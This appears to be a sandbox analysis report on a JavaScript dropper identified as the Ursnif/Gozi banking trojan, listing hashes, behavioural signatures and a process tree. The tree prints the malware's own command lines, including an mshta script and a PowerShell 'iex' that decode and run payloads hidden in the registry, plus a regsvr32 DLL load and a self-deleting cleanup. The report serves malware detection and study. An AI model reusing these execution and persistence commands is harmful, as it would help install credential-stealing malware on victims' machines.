Overview

overview

10

Static

static

view_prese...s1v.js

windows7_x64

10

view_prese...s1v.js

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10v200410
  • submitted
    17-04-2020 09:40

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    view_presentation_s1v.js

  • Size

    1.1MB

  • MD5

    bec9e707404efce0517e706450067520

  • SHA1

    4c146e386fcc547359eb6f5b9e8b1ebf8ca8d6e5

  • SHA256

    b7eea25df9616cb260aede55526c4133e193e9459fcd32ba87abf446259ef811

  • SHA512

    275a1982cce2edef38ff25d9e56661519f752b2c56838e5ebe44b67433290328afe23e2c301de2e0bbb75eabbe44817a3029fc844ff542e227b2d2c7df9d026b

Score
10/10
bankertrojangozi_ifsbursnifspyware

Malware Config

Signatures

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Runs ping.exe 1 TTPs 1 IoCs
  • Checks whether UAC is enabled 7 IoCs
  • Modifies Internet Explorer settings 1 TTPs 67 IoCs
    adwarespyware
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 183 IoCs
  • Makes http(s) request 11 IoCs

    Contacts server via http/https, possibly for C2 communication.

  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

    bankertrojanursnif
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • Suspicious use of SetThreadContext 4 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    • Suspicious behavior: MapViewOfSection
    PID:2992
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\Users\Admin\AppData\Local\Temp\view_presentation_s1v.js
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3600
      • C:\Windows\System32\regsvr32.exe
        "C:\Windows\System32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\\HRLhUNI.txt
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3916
        • C:\Windows\SysWOW64\regsvr32.exe
          -s C:\Users\Admin\AppData\Local\Temp\\HRLhUNI.txt
          4⤵
          • Loads dropped DLL
          PID:1720
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\AppDataLow\\Software\\Microsoft\\786D016B-7752-6A8D-C12C-9B3E8520FF52\\Apdsprov'));if(!window.flag)close()</script>"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1144
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\786D016B-7752-6A8D-C12C-9B3E8520FF52").Assioker))
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        • Suspicious behavior: MapViewOfSection
        PID:400
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\akj4wkm0\akj4wkm0.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2396
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES792D.tmp" "c:\Users\Admin\AppData\Local\Temp\akj4wkm0\CSC983275562BD74D738E2C32E8918FE3.TMP"
            5⤵
              PID:3604
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m1veewcm\m1veewcm.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:724
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7AA4.tmp" "c:\Users\Admin\AppData\Local\Temp\m1veewcm\CSC66323845D5C34D748CC7839B5A867745.TMP"
              5⤵
                PID:2132
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\HRLhUNI.txt"
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          • Suspicious behavior: MapViewOfSection
          PID:3004
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:3588
      • C:\Windows\System32\RuntimeBroker.exe
        C:\Windows\System32\RuntimeBroker.exe -Embedding
        1⤵
          PID:3460
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
          1⤵
          • Checks whether UAC is enabled
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          • Suspicious use of SetWindowsHookEx
          PID:3824
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3824 CREDAT:82945 /prefetch:2
            2⤵
            • Checks whether UAC is enabled
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:1804
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
          1⤵
          • Checks whether UAC is enabled
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          • Suspicious use of SetWindowsHookEx
          PID:416
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:416 CREDAT:82945 /prefetch:2
            2⤵
            • Checks whether UAC is enabled
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:808
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
          1⤵
          • Checks whether UAC is enabled
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          • Suspicious use of SetWindowsHookEx
          PID:2100
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2100 CREDAT:82945 /prefetch:2
            2⤵
            • Checks whether UAC is enabled
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:2528
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2100 CREDAT:82953 /prefetch:2
            2⤵
            • Checks whether UAC is enabled
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:3404

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/400-13-0x0000013C7F620000-0x0000013C7F6D1000-memory.dmp

          Filesize

          708KB

          Download

        • memory/2992-12-0x00000000012C0000-0x00000000012C1000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2992-15-0x0000000003230000-0x00000000032E1000-memory.dmp

          Filesize

          708KB

          Download

        • memory/2992-17-0x0000000003230000-0x00000000032E1000-memory.dmp

          Filesize

          708KB

          Download

        • memory/3004-16-0x0000019B419F0000-0x0000019B419F1000-memory.dmp

          Filesize

          4KB

          Download

        • memory/3004-19-0x0000019B43CF0000-0x0000019B43DA1000-memory.dmp

          Filesize

          708KB

          Download

        • memory/3460-14-0x0000020138720000-0x0000020138721000-memory.dmp

          Filesize

          4KB

          Download

        • memory/3588-18-0x000002142FFF0000-0x000002142FFF1000-memory.dmp

          Filesize

          4KB

          Download